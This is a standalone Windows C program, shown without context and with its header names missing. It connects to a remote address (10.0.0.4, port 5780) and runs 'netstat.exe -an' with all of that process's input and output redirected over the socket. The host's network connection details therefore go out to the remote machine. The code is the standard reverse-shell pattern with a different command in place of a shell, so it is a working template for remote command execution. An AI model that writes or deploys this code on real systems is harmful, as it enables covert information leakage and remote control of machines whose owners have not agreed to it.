#define WIN32_LEAN_AND_MEAN #define VC_EXTRALEAN #include #include #pragma comment(lib, "ws2_32.lib") int main() { int iRet = 1; WSADATA wsaData; SOCKET s; struct sockaddr_in sin; STARTUPINFO si; PROCESS_INFORMATION pi; /* Initialize Winsock */ WSAStartup(0x101, &wsaData); /* Create a socket suitable for Win32 overlapped I/O (ReadFile, etc.) */ s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); if(s == INVALID_SOCKET) goto Cleanup; /* Connect to remote host (this could also listen and accept a connection) */ sin.sin_family = AF_INET; sin.sin_port = htons(5780); sin.sin_addr.s_addr = inet_addr("10.0.0.4"); memset(sin.sin_zero, 0, sizeof(sin.sin_zero)); if(connect(s, (const struct sockaddr *)&sin, sizeof(sin)) != 0) goto Close; /* Create the child process with redirected standard I/O handles */ memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s; if(!CreateProcess(NULL, TEXT("netstat.exe -an"), NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) goto Close; /* Close unused handles (process continues running with a handle to the socket) */ CloseHandle(pi.hThread); CloseHandle(pi.hProcess); /* Success */ iRet = 0; /* The socket can be closed before the child process exists, because it inherited its own socket handle, which keeps the socket alive */ Close: closesocket(s); Cleanup: WSACleanup(); return iRet; }